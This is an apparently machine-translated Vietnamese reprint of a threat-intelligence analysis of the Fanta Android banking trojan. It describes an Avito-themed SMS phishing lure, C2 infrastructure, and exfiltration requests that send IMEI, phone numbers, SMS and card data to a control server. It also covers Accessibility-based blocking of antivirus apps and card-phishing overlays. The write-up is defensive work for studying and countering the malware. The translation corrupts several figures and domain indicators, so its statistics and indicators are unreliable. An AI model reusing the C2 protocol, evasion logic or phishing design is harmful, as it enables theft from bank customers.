Leysya, Fanta: chiến thuật mới cho Trojan Android cũ

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ

Một ngày nào đó, bạn muốn bán thứ gì đó trên Avito và sau khi đăng mô tả chi tiết về sản phẩm của mình (ví dụ: mô-đun RAM), bạn sẽ nhận được thông báo sau:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũKhi bạn mở liên kết, bạn sẽ thấy một trang dường như vô hại thông báo cho bạn, người bán vui vẻ và thành công, rằng giao dịch mua hàng của bạn đã được thực hiện:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
Sau khi bạn nhấp vào nút "Tiếp tục", tệp APK sẽ được tải xuống thiết bị Android của bạn với biểu tượng và tên đáng tin cậy. Bạn đã cài đặt một ứng dụng mà vì lý do nào đó đã yêu cầu quyền AccessibilityService, sau đó một vài cửa sổ xuất hiện rồi nhanh chóng biến mất và ... Vậy là xong.

Bạn đi kiểm tra số dư của mình, nhưng vì lý do nào đó, ứng dụng ngân hàng của bạn lại yêu cầu chi tiết thẻ của bạn. Sau khi nhập dữ liệu, một điều khủng khiếp xảy ra: vì một lý do nào đó mà bạn vẫn không thể hiểu được, tiền bắt đầu biến mất khỏi tài khoản của bạn. Bạn cố gắng khắc phục sự cố nhưng điện thoại của bạn không chịu: nó tự nhấn phím trở lại và phím home, không tắt và không cho phép bạn kích hoạt bất kỳ biện pháp bảo mật nào. Kết quả là bạn không có tiền, sản phẩm của bạn không được mua, bạn bối rối và tự hỏi: chuyện gì đã xảy ra?

Câu trả lời rất đơn giản: bạn là nạn nhân của trojan Fanta Android, họ Flexnet. Chuyện đã xảy ra như thế nào? Bây giờ hãy giải thích.

Các tác giả: Andrey Polovinkin, Nhà phân tích mã độc cấp cơ sở, Ivan Pisarev, Nhà phân tích mã độc hại.

Một số thống kê

Nhóm Trojan Android Flexnet được báo cáo lần đầu tiên vào năm 2015. Trải qua một thời gian hoạt động khá dài, họ này đã mở rộng thành một số phân loài: Fanta, Limebot, Lipton, v.v. Trojan, cũng như cơ sở hạ tầng liên quan đến nó, không đứng yên: các kế hoạch phân phối hiệu quả mới đang được phát triển - trong trường hợp của chúng tôi, các trang lừa đảo chất lượng cao nhắm đến một người bán cụ thể và các nhà phát triển Trojan theo xu hướng thời trang của viết vi-rút - chúng bổ sung chức năng mới giúp lấy cắp tiền hiệu quả hơn từ các thiết bị bị nhiễm và bỏ qua các cơ chế bảo vệ.

Chiến dịch được mô tả trong bài viết này nhằm vào người dùng từ Nga, một số lượng nhỏ thiết bị bị nhiễm đã được ghi nhận ở Ukraine và thậm chí còn ít hơn ở Kazakhstan và Belarus.

Mặc dù Flexnet đã có mặt trong đấu trường Trojan Android hơn 4 năm và được nhiều nhà nghiên cứu nghiên cứu rộng rãi nhưng nó vẫn hoạt động tốt. Bắt đầu từ tháng 2019 năm 35, số tiền thiệt hại có thể lên tới hơn 2015 triệu rúp - và con số này chỉ dành cho các chiến dịch ở Nga. Vào năm XNUMX, nhiều phiên bản khác nhau của Trojan Android này đã được bán trên các diễn đàn ngầm, nơi bạn cũng có thể tìm thấy mã nguồn của Trojan kèm theo mô tả chi tiết. Và điều này đồng nghĩa với việc số liệu thống kê về thiệt hại trên thế giới còn ấn tượng hơn nữa. Một con số không tồi đối với một ông già như vậy phải không?

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ

Từ bán hàng đến lừa đảo

Như có thể thấy từ ảnh chụp màn hình được trình bày trước đó của trang lừa đảo trong dịch vụ Internet để đặt quảng cáo Avito, nó đã được chuẩn bị cho một nạn nhân cụ thể. Rõ ràng, những kẻ tấn công sử dụng một trong các trình phân tích cú pháp của Avito, lấy ra số điện thoại và tên của người bán cũng như mô tả về sản phẩm. Sau khi triển khai trang và chuẩn bị tệp APK, một tin nhắn SMS có tên nạn nhân và liên kết đến trang lừa đảo chứa mô tả về sản phẩm của nạn nhân và số tiền nhận được từ việc “bán” sản phẩm sẽ được gửi đến nạn nhân. Bằng cách nhấp vào nút, người dùng sẽ nhận được tệp APK độc hại - Fanta.

Một nghiên cứu về miền shcet491[.]ru cho thấy nó được ủy quyền cho các máy chủ DNS của Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Tệp vùng miền chứa các mục trỏ đến địa chỉ IP 31.220.23[.]236, 31.220.23[.]243 và 31.220.23[.]235. Tuy nhiên, bản ghi tài nguyên chính của miền (bản ghi A) trỏ đến máy chủ có địa chỉ IP 178.132.1[.]240.

Địa chỉ IP 178.132.1[.]240 nằm ở Hà Lan và thuộc về chủ nhà lưu trữ dòng thế giới. Các địa chỉ IP 31.220.23[.]235, 31.220.23[.]236 và 31.220.23[.]243 được đặt tại Vương quốc Anh và thuộc về máy chủ lưu trữ chia sẻ HOSTINGER. Được sử dụng làm nhà đăng ký openprov-ru. Các miền cũng được phân giải thành địa chỉ IP 178.132.1[.]240:

  • sdelka-ru[.]ru
  • sản phẩm-av[.]ru
  • av-product[.]ru
  • thỏa thuận[.]en
  • shcet382[.]ru
  • sdelka221[.]en
  • sdelka211[.]en
  • vyplata437[.]ru
  • viplata291[.]en
  • dịch273[.]vi
  • dịch901[.]vi

Cần lưu ý rằng các liên kết có định dạng sau có sẵn ở hầu hết các tên miền:

http://(www.){0,1}<%domain%>/[0-9]{7}

Mẫu này cũng bao gồm liên kết từ tin nhắn SMS. Theo dữ liệu lịch sử, người ta thấy rằng một số liên kết theo mẫu trên tương ứng với một tên miền, điều này cho thấy việc sử dụng một tên miền để phân phối Trojan cho một số nạn nhân.

Hãy tiếp tục một chút: với tư cách là máy chủ điều khiển, Trojan được tải xuống từ liên kết từ SMS sử dụng địa chỉ câu lạc bộ onuseseddohap[.]. Miền này đã được đăng ký vào ngày 2019-03-12 và bắt đầu từ ngày 2019-04-29, các ứng dụng APK đã tương tác với miền này. Dựa trên dữ liệu thu được từ VirusTotal, có tổng cộng 109 ứng dụng đã tương tác với máy chủ này. Bản thân tên miền được phân giải thành địa chỉ IP 217.23.14 [.] 27, đặt tại Hà Lan và thuộc sở hữu của một chủ nhà cung cấp dịch vụ lưu trữ dòng thế giới. Được sử dụng làm nhà đăng ký bảng tên. Tên miền cũng đã được phân giải tới địa chỉ IP này câu lạc bộ bad-racoon[.] (bắt đầu từ 2018-09-25) và bad-racoon[.]live (bắt đầu từ ngày 2018-10-25). với tên miền câu lạc bộ bad-racoon[.] đã tương tác với hơn 80 tệp APK, với bad-racoon[.]live - nhiều hơn 100.

Nói chung, quá trình tấn công như sau:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ

Fanta có gì dưới nắp?

Giống như nhiều Trojan Android khác, Fanta có thể đọc và gửi tin nhắn SMS, thực hiện các yêu cầu USSD và hiển thị các cửa sổ riêng của nó trên đầu các ứng dụng (bao gồm cả ứng dụng ngân hàng). Tuy nhiên, kho chức năng của dòng này đã xuất hiện: Fanta bắt đầu sử dụng Dịch vụ trợ năng cho nhiều mục đích khác nhau: đọc nội dung thông báo của các ứng dụng khác, ngăn chặn việc phát hiện và dừng việc thực thi Trojan trên thiết bị bị nhiễm, v.v. Fanta hoạt động trên tất cả các phiên bản Android cũ hơn 4.4. Trong bài viết này, chúng ta sẽ xem xét kỹ hơn về mẫu Fanta sau:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Ngay sau khi ra mắt

Ngay sau khi khởi chạy, Trojan ẩn biểu tượng của nó. Ứng dụng chỉ có thể hoạt động nếu tên thiết bị bị nhiễm không có trong danh sách:

  • android_x86
  • VirtualBox
  • Nexus 5X(đầu bò)
  • Nexus 5(dao cạo)

Việc kiểm tra này được thực hiện trong dịch vụ Trojan chính - Dịch vụ chính. Trong lần khởi chạy đầu tiên, các tham số cấu hình của ứng dụng được khởi tạo với các giá trị mặc định (định dạng lưu trữ dữ liệu cấu hình và ý nghĩa của chúng sẽ được thảo luận sau), cũng như việc đăng ký một thiết bị bị nhiễm mới trên máy chủ điều khiển. Một yêu cầu HTTP POST sẽ được gửi đến máy chủ với loại tin nhắn đăng ký_bot và thông tin về thiết bị bị nhiễm (phiên bản Android, IMEI, số điện thoại, tên nhà mạng và mã quốc gia nơi nhà mạng đăng ký). Địa chỉ được sử dụng làm máy chủ quản lý hXXp://onuseseddohap[.]club/controller.php. Đáp lại, máy chủ sẽ gửi một tin nhắn chứa các trường bot_id, bot_pwd, máy chủ — những giá trị này được ứng dụng lưu dưới dạng tham số của máy chủ CnC. Tham số máy chủ tùy chọn nếu trường không được nhận: Fanta sử dụng địa chỉ đăng ký − hXXp://onuseseddohap[.]club/controller.php. Chức năng thay đổi địa chỉ CnC có thể được sử dụng để giải quyết hai vấn đề: phân bổ tải đồng đều giữa một số máy chủ (với một số lượng lớn thiết bị bị nhiễm, tải trên máy chủ web không được tối ưu hóa có thể cao) và cũng để sử dụng một giải pháp thay thế máy chủ trong trường hợp một trong các máy chủ CnC bị lỗi.

Nếu xảy ra lỗi trong khi gửi yêu cầu, Trojan sẽ lặp lại quá trình đăng ký sau 20 giây.

Sau khi đăng ký thiết bị thành công, Fanta sẽ hiển thị thông báo tới người dùng như sau:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
Lưu ý quan trọng: một dịch vụ có tên Bảo mật Hệ thống - tên của dịch vụ Trojan và sau khi nhấp vào nút ОК một cửa sổ có cài đặt Trợ năng của thiết bị bị nhiễm sẽ mở ra, nơi người dùng phải tự mình cấp quyền Trợ năng cho dịch vụ độc hại:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
Sau khi người dùng bật Dịch vụ trợ năng, Fanta truy cập nội dung của cửa sổ ứng dụng và các hành động được thực hiện trong đó:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
Ngay sau khi có được quyền Trợ năng, Trojan yêu cầu quyền của quản trị viên và quyền đọc thông báo:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
Với sự trợ giúp của AccessibilityService, ứng dụng mô phỏng các thao tác gõ phím, từ đó tự cấp cho mình tất cả các quyền cần thiết.

Fanta tạo một số phiên bản cơ sở dữ liệu (sẽ được mô tả sau) cần thiết để lưu dữ liệu cấu hình cũng như thông tin về thiết bị bị nhiễm được thu thập trong quá trình này. Để gửi thông tin đã thu thập, Trojan tạo một tác vụ định kỳ được thiết kế để dỡ bỏ các trường khỏi cơ sở dữ liệu và nhận lệnh từ máy chủ điều khiển. Khoảng thời gian gọi CnC được đặt tùy thuộc vào phiên bản Android: trong trường hợp 5.1, khoảng thời gian sẽ là 10 giây, nếu không thì là 60 giây.

Để nhận lệnh, Fanta đưa ra yêu cầu Nhận nhiệm vụ đến máy chủ điều khiển. Để đáp lại, CnC có thể gửi một trong các lệnh sau:

Đội Описание
0 Gửi tin nhắn SMS
1 Thực hiện cuộc gọi điện thoại hoặc lệnh USSD
2 Cập nhật một tham số khoảng thời gian
3 Cập nhật một tham số đánh chặn
6 Cập nhật một tham số quản lý sms
9 Bắt đầu thu thập tin nhắn SMS
11 Đặt lại điện thoại về cài đặt gốc
12 Bật/Tắt tính năng ghi nhật ký tạo hộp thoại

Fanta cũng thu thập thông báo từ 70 ứng dụng ngân hàng, thanh toán nhanh và ví điện tử rồi lưu trữ chúng trong cơ sở dữ liệu.

Lưu trữ các thông số cấu hình

Để lưu trữ các tham số cấu hình, Fanta sử dụng phương pháp tiêu chuẩn cho nền tảng Android - Sở thích (Preferences)-các tập tin. Các cài đặt sẽ được lưu vào một tập tin có tên thiết lập. Mô tả các tham số đã lưu nằm trong bảng bên dưới.

tên Giá trị mặc định Những giá trị khả thi Описание
id 0 Số nguyên ID bot
máy chủ hXXp://onuseseddohap[.]club/ URL Địa chỉ máy chủ quản lý
pwd - Chuỗi Mật khẩu máy chủ
khoảng thời gian 20 Số nguyên Khoảng thời gian. Hiển thị thời gian trì hoãn các tác vụ sau:

  • Khi gửi yêu cầu về trạng thái của tin nhắn SMS đã gửi
  • Nhận lệnh mới từ máy chủ điều khiển

đánh chặn tất cả các tất cả/số điện thoại Nếu trường bằng chuỗi tất cả các hoặc số điện thoại, khi đó tin nhắn SMS nhận được sẽ bị ứng dụng chặn và không hiển thị cho người dùng
quản lý sms 0 0/1 Bật/tắt ứng dụng làm người nhận SMS mặc định
readDialog sai Đúng sai Bật/Tắt ghi nhật ký sự kiện Khả năng tiếp cậnSự kiện

Fanta cũng sử dụng tệp quản lý sms:

tên Giá trị mặc định Những giá trị khả thi Описание
pckg - Chuỗi Tên của trình quản lý SMS được sử dụng

Tương tác cơ sở dữ liệu

Trojan sử dụng hai cơ sở dữ liệu trong quá trình hoạt động của nó. Cơ sở dữ liệu được đặt tên a được sử dụng để lưu trữ nhiều thông tin khác nhau được thu thập từ điện thoại. Cơ sở dữ liệu thứ hai được đặt tên fanta.db và được sử dụng để lưu các cài đặt chịu trách nhiệm tạo các cửa sổ lừa đảo được thiết kế để thu thập thông tin về thẻ ngân hàng.

Trojan sử dụng cơ sở dữ liệu а để lưu trữ thông tin đã thu thập và ghi lại hành động của họ. Dữ liệu được lưu trữ trong một bảng các bản ghi. Truy vấn SQL sau đây được sử dụng để tạo bảng:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Cơ sở dữ liệu chứa các thông tin sau:

1. Đăng nhập thiết bị bị nhiễm bằng tin nhắn Điện thoại đã bật!

2. Thông báo từ ứng dụng. Tin nhắn được tạo theo mẫu sau:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Dữ liệu thẻ ngân hàng từ các hình thức lừa đảo do Trojan tạo ra. Tham số VIEW_NAME có thể là một trong danh sách:

  • AliExpress
  • Avito
  • Google play
  • Khác <%Tên ứng dụng%>

Tin nhắn được ghi ở định dạng:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Tin nhắn SMS đến/đi có định dạng:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. Thông tin về gói tạo hộp thoại có dạng:

(<%Package name%>)<%Package information%>

Ví dụ về bảng các bản ghi:

Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
Một trong những chức năng của Fanta là thu thập thông tin về thẻ ngân hàng. Dữ liệu được thu thập bằng cách tạo các cửa sổ lừa đảo khi mở ứng dụng ngân hàng. Trojan chỉ tạo một cửa sổ lừa đảo một lần. Thông tin mà cửa sổ hiển thị cho người dùng được lưu trữ trong bảng thiết lập trong cơ sở dữ liệu fanta.db. Truy vấn SQL sau đây được sử dụng để tạo cơ sở dữ liệu:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Tất cả các trường bảng thiết lập được khởi tạo thành 1 (tạo cửa sổ lừa đảo) theo mặc định. Sau khi người dùng nhập dữ liệu của họ, giá trị sẽ được đặt thành 0. Ví dụ về trường bảng thiết lập:

  • can_login — trường có nhiệm vụ hiển thị biểu mẫu khi mở ứng dụng ngân hàng
  • ngân hàng đầu tiên - không được sử dụng
  • can_avito - trường có nhiệm vụ hiển thị biểu mẫu khi mở ứng dụng Avito
  • can_ali - trường có nhiệm vụ hiển thị biểu mẫu khi mở ứng dụng Aliexpress
  • can_another - trường có nhiệm vụ hiển thị biểu mẫu khi mở bất kỳ ứng dụng nào trong danh sách: Yula, Pandao, Drome Auto, Ví. Thẻ giảm giá và thưởng, Aviasale, Booking, Trivago
  • can_card - trường có nhiệm vụ hiển thị biểu mẫu khi mở Google play

Tương tác với máy chủ điều khiển

Tương tác mạng với máy chủ điều khiển diễn ra thông qua giao thức HTTP. Fanta sử dụng thư viện Retrofit phổ biến để làm việc với mạng. Yêu cầu được gửi tới hXXp://onuseseddohap[.]club/controller.php. Địa chỉ máy chủ có thể được thay đổi khi đăng ký trên máy chủ. Một cookie có thể được trả về từ máy chủ. Fanta thực hiện các yêu cầu sau tới máy chủ:

  • Đăng ký bot trên máy chủ điều khiển xảy ra một lần ở lần khởi động đầu tiên. Dữ liệu sau về thiết bị bị nhiễm sẽ được gửi đến máy chủ:
    · Cookie - cookie nhận được từ máy chủ (giá trị mặc định là một chuỗi trống)
    · chế độ - hằng số chuỗi đăng ký_bot
    · tiếp đầu ngữ - hằng số nguyên 2
    · phiên bản_sdk - được hình thành theo mẫu sau: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · imei - IMEI của thiết bị bị nhiễm
    · đất nước - mã quốc gia nơi nhà điều hành được đăng ký, ở định dạng ISO
    · con số - số điện thoại
    · nhà điều hành - Tên người vận hành

    Một ví dụ về yêu cầu được gửi đến máy chủ:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Để đáp lại yêu cầu, máy chủ phải trả về một đối tượng JSON chứa các tham số sau:
    bot_id - mã định danh của thiết bị bị nhiễm. Nếu bot_id bằng 0, Fanta sẽ thực hiện lại yêu cầu.
    bot_pwd - mật khẩu cho máy chủ.
    máy chủ - địa chỉ của máy chủ điều khiển. Tham số tùy chọn. Nếu tham số không được chỉ định, địa chỉ được lưu trong ứng dụng sẽ được sử dụng.

    Ví dụ về đối tượng JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • Yêu cầu nhận lệnh từ máy chủ. Dữ liệu sau được gửi đến máy chủ:
    · Cookie - cookie nhận được từ máy chủ
    · thầu — id của thiết bị bị nhiễm đã nhận được khi gửi yêu cầu đăng ký_bot
    · pwd -mật khẩu cho máy chủ
    · khoa_admin - trường xác định xem đã có được quyền quản trị viên hay chưa. Nếu đã có được quyền quản trị viên, trường này sẽ bằng 1, nếu không thì 0
    · Khả Năng Tiếp Cận - trạng thái của Dịch vụ trợ năng. Nếu dịch vụ đã được bắt đầu, giá trị là 1, nếu không thì 0
    · Trình quản lý SMS - hiển thị xem trojan có được bật làm ứng dụng mặc định để nhận SMS hay không
    · màn - hiển thị trạng thái của màn hình. giá trị sẽ được đặt 1nếu màn hình bật, nếu không 0;

    Một ví dụ về yêu cầu được gửi đến máy chủ:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Tùy thuộc vào lệnh, máy chủ có thể trả về một đối tượng JSON với các tham số khác nhau:

    · Đội Gửi tin nhắn SMS: Các thông số chứa số điện thoại, nội dung tin nhắn SMS và mã định danh của tin nhắn sẽ gửi. Mã định danh được sử dụng khi gửi tin nhắn đến máy chủ với loại setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Đội Thực hiện cuộc gọi điện thoại hoặc lệnh USSD: Số điện thoại hoặc lệnh xuất hiện trong nội dung phản hồi.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Đội Thay đổi tham số khoảng.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · Đội Thay đổi tham số chặn.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · Đội Thay đổi trường SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Đội Thu thập tin nhắn SMS từ thiết bị bị nhiễm.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Đội Đặt lại điện thoại về cài đặt gốc:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Đội Thay đổi cài đặt ReadDialog.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Gửi tin nhắn với loại setSmsStatus. Yêu cầu này được thực hiện sau khi thực hiện lệnh Gửi tin nhắn SMS. Yêu cầu trông như thế này:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Gửi nội dung của cơ sở dữ liệu. Một chuỗi được chuyển cho mỗi yêu cầu. Dữ liệu sau được gửi đến máy chủ:
    · Cookie - cookie nhận được từ máy chủ
    · chế độ - hằng số chuỗi setSaveInboxSms
    · thầu — id của thiết bị bị nhiễm đã nhận được khi gửi yêu cầu đăng ký_bot
    · văn bản — văn bản trong bản ghi cơ sở dữ liệu hiện tại (trường d từ cái bàn các bản ghi trong cơ sở dữ liệu а)
    · con số — tên của bản ghi cơ sở dữ liệu hiện tại (trường p từ cái bàn các bản ghi trong cơ sở dữ liệu а)
    · sms_mode — giá trị nguyên (trường m từ cái bàn các bản ghi trong cơ sở dữ liệu а)

    Yêu cầu trông như thế này:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Sau khi gửi thành công đến máy chủ, hàng sẽ bị xóa khỏi bảng. Một ví dụ về đối tượng JSON được máy chủ trả về:

    {
        "response":[],
        "status":"ok"
    }

Tương tác với AccessibilityService

AccessibilityService được triển khai để giúp người khuyết tật sử dụng thiết bị Android dễ dàng hơn. Trong hầu hết các trường hợp, cần có sự tương tác vật lý để tương tác với một ứng dụng. AccessibilityService cho phép bạn tạo chúng theo chương trình. Fanta sử dụng dịch vụ này để tạo các cửa sổ giả trong ứng dụng ngân hàng và ngăn cài đặt hệ thống cũng như một số ứng dụng mở.

Bằng cách sử dụng chức năng của AccessibilityService, Trojan sẽ giám sát các thay đổi đối với các thành phần trên màn hình của thiết bị bị nhiễm. Như đã mô tả trước đây, cài đặt Fanta chứa tham số chịu trách nhiệm ghi nhật ký hoạt động bằng hộp thoại - readDialog. Nếu tùy chọn này được đặt, thông tin về tên và mô tả của gói đã kích hoạt sự kiện sẽ được thêm vào cơ sở dữ liệu. Trojan thực hiện các hành động sau khi được kích hoạt:

  • Mô phỏng tổ hợp phím quay lại và về nhà trong trường hợp:
    · nếu người dùng muốn khởi động lại thiết bị của họ
    · nếu người dùng muốn xóa ứng dụng “Avito” hoặc thay đổi quyền truy cập
    · nếu có đề cập đến ứng dụng “Avito” trên trang
    · khi bạn mở ứng dụng “Google Play Protect”
    · khi mở các trang có cài đặt AccessibilityService
    · khi hộp thoại Bảo mật hệ thống xuất hiện
    · khi mở trang có cài đặt “Vẽ lên ứng dụng khác”
    · khi bạn mở trang “Ứng dụng”, “Sao lưu và đặt lại”, “Đặt lại dữ liệu”, “Đặt lại cài đặt”, “Bảng điều khiển dành cho nhà phát triển”, “Thông số kỹ thuật”. cơ hội”, “Khả năng tiếp cận”, “Quyền đặc biệt”
    · nếu sự kiện được tạo ra bởi một số ứng dụng nhất định.

    Danh sách ứng dụng

    • Android
    • Master Lite
    • Sạch Thạc sĩ
    • Clean Master cho CPU x86
    • Quản lý quyền ứng dụng Meizu
    • Bảo mật MIUI
    • Clean Master - Diệt Virus & Cache & Dọn Rác
    • Kiểm soát của phụ huynh và GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Virus Cleaner, Antivirus, Cleaner (Bảo mật MAX)
    • Bảo mật chống vi-rút di động PRO
    • Chống vi-rút và bảo vệ miễn phí Avast 2019
    • Bảo mật di động MegaFon
    • Bảo vệ AVG cho Xperia
    • Bảo mật di động
    • Bảo vệ và chống vi-rút Malwarebytes
    • Phần mềm diệt virus cho Android 2019
    • Bậc thầy bảo mật - Diệt virus, VPN, AppLock, Tăng tốc
    • Phần mềm diệt virus AVG cho máy tính bảng Huawei System Manager
    • Khả năng truy cập của Samsung
    • Trình quản lý thông minh của Samsung
    • Bậc thầy bảo mật
    • Tăng tốc
    • Dr.Web
    • Không gian bảo mật Dr.Web
    • Trung tâm điều khiển di động Dr.Web
    • Dr.Web Security Cuộc sống không gian
    • Trung tâm điều khiển di động Dr.Web
    • Chống vi-rút & bảo mật di động
    • Kaspersky Internet Security: Chống virus & Bảo vệ
    • Kaspersky Battery Life: Saver & Booster
    • Kaspersky Endpoint Security - bảo vệ và quản lý
    • AVG Antivirus miễn phí 2019 - Bảo vệ cho Android
    • antivirus Android
    • Norton Mobile Security và Antivirus
    • Chống virus, tường lửa, VPN, bảo mật di động
    • Bảo mật di động: Chống vi-rút, VPN, Chống trộm
    • Diệt virus cho Android

  • Nếu yêu cầu quyền khi gửi tin nhắn SMS đến một số ngắn, Fanta sẽ mô phỏng việc nhấp vào hộp kiểm Ghi nhớ sự lựa chọn và nút gửi.
  • Khi bạn cố gắng tước quyền quản trị viên khỏi Trojan, nó sẽ chặn màn hình điện thoại.
  • Ngăn chặn việc thêm quản trị viên mới.
  • Nếu ứng dụng chống virus dr.web phát hiện mối đe dọa, Fanta mô phỏng cách nhấn nút phớt lờ.
  • Trojan mô phỏng việc nhấn nút quay lại và nút home nếu sự kiện được ứng dụng tạo ra Chăm sóc thiết bị Samsung.
  • Fanta tạo các cửa sổ lừa đảo với các biểu mẫu để nhập thông tin về thẻ ngân hàng nếu một ứng dụng từ danh sách khoảng 30 dịch vụ Internet khác nhau được khởi chạy. Trong số đó: AliExpress, Booking, Avito, Thành phần thị trường Google Play, Pandao, Drome Auto, v.v.

    Các hình thức lừa đảo

    Fanta phân tích ứng dụng nào chạy trên thiết bị bị nhiễm. Nếu một ứng dụng quan tâm đã được mở, Trojan sẽ hiển thị một cửa sổ lừa đảo trên tất cả các ứng dụng khác, đây là một hình thức để nhập thông tin về thẻ ngân hàng. Người dùng cần nhập dữ liệu sau:

    • Số thẻ
    • Ngày thẻ hết hạn
    • CVV
    • Tên chủ thẻ (không dành cho tất cả các ngân hàng)

    Tùy thuộc vào ứng dụng đang chạy, các cửa sổ lừa đảo khác nhau sẽ được hiển thị. Sau đây là ví dụ về một số trong số họ:

    Aliexpress:

    Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
    Tự động:

    Leysya, Fanta: chiến thuật mới cho Trojan Android cũ
    Đối với một số ứng dụng khác như Chợ Google Play, Aviasale, Pandao, Đặt chỗ, Trivago:
    Leysya, Fanta: chiến thuật mới cho Trojan Android cũ

    Nó thực sự như thế nào

    May mắn thay, người nhận được tin nhắn SMS được mô tả ở đầu bài viết hóa ra lại là chuyên gia an ninh mạng. Do đó, phiên bản thật, không phải của giám đốc khác với phiên bản đã nói trước đó: người đó nhận được một tin nhắn SMS thú vị, sau đó anh ta đưa nó cho nhóm Tình báo săn lùng mối đe dọa Group-IB. Kết quả của cuộc tấn công là bài viết này. Kết thúc có hậu phải không? Tuy nhiên, không phải tất cả các câu chuyện đều kết thúc tốt đẹp và để câu chuyện của bạn không giống như bị đạo diễn cắt giảm tiền, trong hầu hết các trường hợp, chỉ cần tuân thủ các quy tắc được mô tả dài dòng sau đây là đủ:

    • Không cài đặt ứng dụng cho thiết bị di động Android của bạn từ bất kỳ nguồn nào ngoài Google Play
    • khi cài đặt ứng dụng đặc biệt chú ý đến các quyền mà ứng dụng yêu cầu
    • chú ý đến phần mở rộng của tập tin tải lên
    • cài đặt bản cập nhật hệ điều hành Android thường xuyên
    • không truy cập các tài nguyên đáng ngờ và không tải xuống tệp từ đó
    • Không nhấp vào liên kết nhận được trong tin nhắn SMS.

Nguồn: www.habr.com

Thêm một lời nhận xét